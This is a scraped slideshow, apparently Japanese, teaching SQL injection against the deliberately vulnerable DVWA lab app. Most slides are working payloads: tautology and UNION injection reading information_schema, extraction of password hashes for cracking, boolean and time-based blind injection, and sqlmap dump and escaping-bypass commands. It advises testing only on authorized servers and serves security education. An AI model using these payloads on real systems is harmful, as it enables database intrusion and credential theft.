Advertisement

More Related Content

Slideshows for you(20)

Advertisement

猫でもわかるかもしれない SQLインジェクション

  1. Security Topic SQL injection について 猫でもわかる
  2. Let's SQL injection DVWA with Docker で SQL injection を試す http://www.dvwa.co.uk/ DVWA とは 脆弱性を持ったWebアプリ(PHP + MySQL) MAMPやDockerで簡単に動かせる Docker image : https://hub.docker.com/r/originalsix/docker-dvwa/
  3. Use this
  4. SQL injection : Level 1
  5. Easy SQL Injection Level 1
  6. Default word : いつもの SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 -- Level 1 すべての⾏を表⽰させる いつものやつ
  7. UNION SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 UNION ( SELECT 1, 2 ) -- result[0] = 1 result[1] = 2 Level 1 UNIONで出⼒結果を追加してみる
  8. UNION SELECT first_name, last_name FROM users WHERE user_id = '' UNION ( SELECT 1, 2 ) -- result[0] = 1 result[1] = 2 Level 1 UNIONで出⼒結果を追加してみる
  9. FROM information_schema.columns SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT table_name, GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name -- table_name : users column_name : name, user_id, avatar, password, user, last_name ※ information_schema.columns : 管理情報をもつtable GROUP_CONCAT : 複数の要素をまとめる Level 1 テーブル⼀覧とそのカラムを表⽰する
  10. Get password FROM users first_name : admin password: 5f4dcc3b5aa765d61d8327deb882cf99 decode with john 復号ツールで解読したり... SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT CONCAT(first_name, last_name), password FROM users -- Level 1 さっきの情報を元にpasswordを出⼒
  11. Get password FROM users first_name : admin password: 5f4dcc3b5aa765d61d8327deb882cf99 Level 1 出た! (ハッシュ値は別途復号ツールで復号する)
  12. SQL injection : Level 2
  13. Blind SQL Injection 出⼒結果が⾒れない Level 2
  14. Default word : いつもの 出⼒結果が⾒れない 出⼒の有無だけわかる Level 2
  15. Default word : いつもの 出⼒結果が⾒れない admin(id=1) の password をGETしてみる [前提] passwordというカラムを知っているとする(知る⽅法は後述) 出⼒の有無だけわかる Level 2
  16. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "0" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? -> false
  17. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "5" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"5"か? -> true
  18. Blind SQL Injection SELECT first_name, last_name FROM users WHERE user_id = '1' AND SUBSTR(password,1,1) = "5" -- Level 2 passwordの1⽂字⽬から1⽂字⽬は"5"か? -> true
  19. Blind SQL Injection shell script等 サクッと実装しよう!
  20. SQL injection : Level 2++
  21. Blind SQL Injection(Time-base) 出⼒結果が⾒れないし SQLの成否もわからない Level 2 Insert⽂が使⽤されている時など (DVWAにはないです)
  22. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 即レスポンス -> false
  23. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 5秒後レスポンス-> true
  24. Blind SQL Injection(Time-base) SELECT first_name, last_name FROM users WHERE user_id = '1' AND IF(SUBSTR(password,1,1) = "0", sleep(5), sleep(0))-- Level 2 passwordの1⽂字⽬から1⽂字⽬は"0"か? 5秒後レスポンス-> true
  25. Blind SQL Injection(Time-base) shell script等 サクッと実装しよう! (コピペ)
  26. どうやってテーブル名を取得する? • 勘 (users, passwordくらいなら...) • information_schema.columnsのn⾏⽬のtable_nameを総当り SELECT first_name, last_name FROM users WHERE user_id = '' OR SUBSTR((SELECT table_name FROM information_schema.columns LIMIT 10, 1),1,1) = "u" -- LIMIT⽂ : 結果の10番⽬から1⾏出⼒する = そのテーブルの1⽂字⽬は"u"か? (usersが何番⽬に出⼒されるかわからない(厳しい))
  27. Automatic SQL injection sqlmapでこれらの攻撃を⾃動で⾏える! (つよい)
  28. sqlmap -o :3スレッド並列処理 -T :テーブルを指定 --tables :table⼀覧を取得 --dump :tableデータをダンプする
  29. sqlmap --tables sqlmap -o -u "[targetUrl]" --cookie="[session]" --tables table⼀覧を取得
  30. sqlmap --dump sqlmap -o -u "[targetUrl]" --cookie="[session]" --dump userテーブルが⾒れた
  31. sqlmap --prefix "--prefix" や "--postfix"で簡単なSQL injection対策も突破 $input_escaped = str_replace(" ' "," ' ",$user_input); '(シングルクォート)を ' に置き換える -> 「' AND ~~~」が使えない! 1. prefixで を指定 2. 「 ' AND ~~~」 (バックスラッシュ)が特殊⽂字化して ' が使えるようになった!
  32. Notes SQLインジェクションは 管理化もしくは管理者から許可されたサーバにのみ⾏いましょう (参照 : 不正アクセス禁⽌法 etc...) DockerやVMなどで作った環境で試すのがオススメ
  33. Appendix(SQL injection Task) • sharifCTF 7 http://ctf.sharif.edu/ctf7 [Poor Guy, Irish Home] • ksnCTF http://ksnctf.sweetduet.info/problem/6 [6:login] • Seccon2016 https://score-quals.seccon.jp/question/ [basiq] • Cheat Sheet https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
Advertisement